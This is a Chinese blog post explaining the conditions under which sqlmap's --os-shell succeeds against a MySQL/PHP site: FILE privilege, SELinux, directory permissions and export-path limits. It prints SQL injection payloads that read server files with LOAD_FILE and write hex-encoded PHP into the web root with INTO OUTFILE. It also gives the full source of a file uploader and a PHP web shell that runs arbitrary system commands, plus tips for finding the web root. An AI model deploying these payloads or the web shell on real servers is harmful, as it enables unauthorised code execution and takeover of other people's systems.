SQL注入:为什么拿不到os-shell?

文章目录

权限问题

首先确保注入点的数据库连接用户有FILE权限
使用 --privileges查看
但是
就算有此权限也还有很多问题

SELINUX
因为我的服务器使用的并不是Apache的默认发布目录
所以我把SELINUX禁掉了
按理来说
SELINUX也会对这些操作有影响

mysql文件操作权限
首先说一下Linux的文件权限
chmod命令用于更改文件权限
数字法中

0 无权限
1 可执行
2 可写
4 可读

四个数字随意组合共八种

0 无权限
1 可执行
2 可写
3 可执行/可写
4 可读
5 可执行/可读
6 可写/可读
7 可执行/可写/可读

–file-read

参数是文件路径
服务器上的mysql需要对此文件有5权限(执行/读)

因为它实际执行的函数是

LOAD_FILE('/data/test.txt');

mysql有对 /data/test.txt 的5权限才可以加载
否则就算服务器管理员使用此函数也无法读出文件

–file-write 和 --file-dest

这两个是配合使用的
–file-write的参数是Kali上的完整文件路径
–file-dest的参数是服务器上的完整文件路径
服务器上mysql需要对此文件路径有3权限(可写/可执行)
而且mysql的文件导出路径不能有限制
mysql导出路径
它实际执行的函数是

... INTO OUTFILE '/asdf/sadf/sdfa.txt'

–os-shell
mysql需要对网站发布目录有3权限
以及文件导出路径无限制
实际函数上传了两个php文件,即利用tmpulujm.php上传了一个tmpbtfgo.php的文件

...INTO OUTFILE '/DocumentRoot/asdaa.php'

–file-read

payload

a' AND 
ORD(
	MID((
		IFNULL(
			CAST(
				HEX(LOAD_FILE(0x2f6879)
			) AS CHAR)
		,0x20)
	),1,1)
)>66 AND 'BHHf'='BHHf

解析
0x2f6879是服务器上带完整路径的文件名

–file-write和–file-dest

payload

a'
 LIMIT 0,1 
	INTO OUTFILE '/hoasdf/sdaf/asdf.txt'
		 LINES TERMINATED BY 
		 0x50542079536557276967963653d68747
		 -- -

解析
0x5054…是上传文件的HEX内容

–os-shell

即利用tmpulujm.php上传了一个tmpbtfgo.php的文件

payload

a' 
	LIMIT 0,1 
		INTO OUTFILE '/DocumentRoot/tmpuvpaa.php' 
			LINES TERMINATED BY 
				0x300a696627365742f524554553545b2275706c6f6164225
				-- -

解析
0x300a…是上传php文件的HEX内容
上传的两个php文件内容

a       12
<?php
	if (isset($_REQUEST["upload"])){
		$dir=$_REQUEST["uploadDir"];
		if (phpversion()<'4.1.0'){
			$file=$HTTP_POST_FILES["file"]["name"];		
			@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
		}
		else{
			$file=$_FILES["file"]["name"];
			@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
		}
		@chmod($dir."/".$file,0755);
		echo "File uploaded";
	}
	else {
		echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/home/www/root/MyWebsite/> <input type=submit name=upload value=upload></form>";
	}
?>

<?php 
	$c=$_REQUEST["cmd"];
	@set_time_limit(0);
	@ignore_user_abort(1);
	@ini_set('max_execution_time',0);
	$z=@ini_get('disable_functions');
	if(!empty($z)){
		$z=preg_replace('/[,]/',',',$z);
		$z=explode(',',$z);
		$z=array_map('trim',$z);
	}
	else{$z=array();}
	$c=$c." 2>&1\n";
	function f($n){
		global $z;
		return is_callable($n)and!in_array($n,$z);
	}
	if(f('system')){
		ob_start();
		system($c);
		$w=ob_get_contents();
		ob_end_clean();
	}
	elseif(f('proc_open'){
		$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
		$w=NULL;
		while(!feof($t[1])){
			$w.=fread($t[1],512);
		}
		@proc_close($y);
	}
	elseif(f('shell_exec')){
		$w=shell_exec($c);
	}
	elseif(f('passthru')){
		ob_start();
		passthru($c);
		$w=ob_get_contents();
		ob_end_clean();
	}
	elseif(f('popen')){
		$x=popen($c,r);
		$w=NULL;
		if(is_resource($x)){
			while(!feof($x)){
				$w.=fread($x,512);
			}
		}
		@pclose($x);
	}
	elseif(f('exec')){
		$w=array();
		exec($c,$w);
		$w=join(chr(10),$w).chr(10);
	}
	else{$w=0;}
	print "<pre>".$w."</pre>";
?>

退出shell后两文件自动删除

总结

拿到os-shell的条件

  1. 首先你得知道网站是用什么写的。这个倒是好说,ASP/ASPX/PHP/JSP,很容易看
  2. 网站的发布目录。这个开发环境中应该都会更改,而不会使用默认的
    比如Apache的/var/www/html,这里想说一下某些PHP程序员还有可能写完一个很有用的文件后忘记删掉了,可能叫test.php什么什么的,内容就是一句phpinfo();
    找到这个里面会有很多有用的信息
  3. SELinux。牛逼的管理员会详细配置SELinux,菜鸡如我就只能强制关掉了,SELinux会对数据库对外的操作作限制,特别是针对这种敏感的直接对发布目录进行的操作。
    还是得好好看看SELinux啊唉
  4. 执行权限。上面有详细说明
  5. 生产环境还会有WAF等防护
posted @ 2020-10-03 11:44  komomon  阅读(635)  评论(0编辑  收藏  举报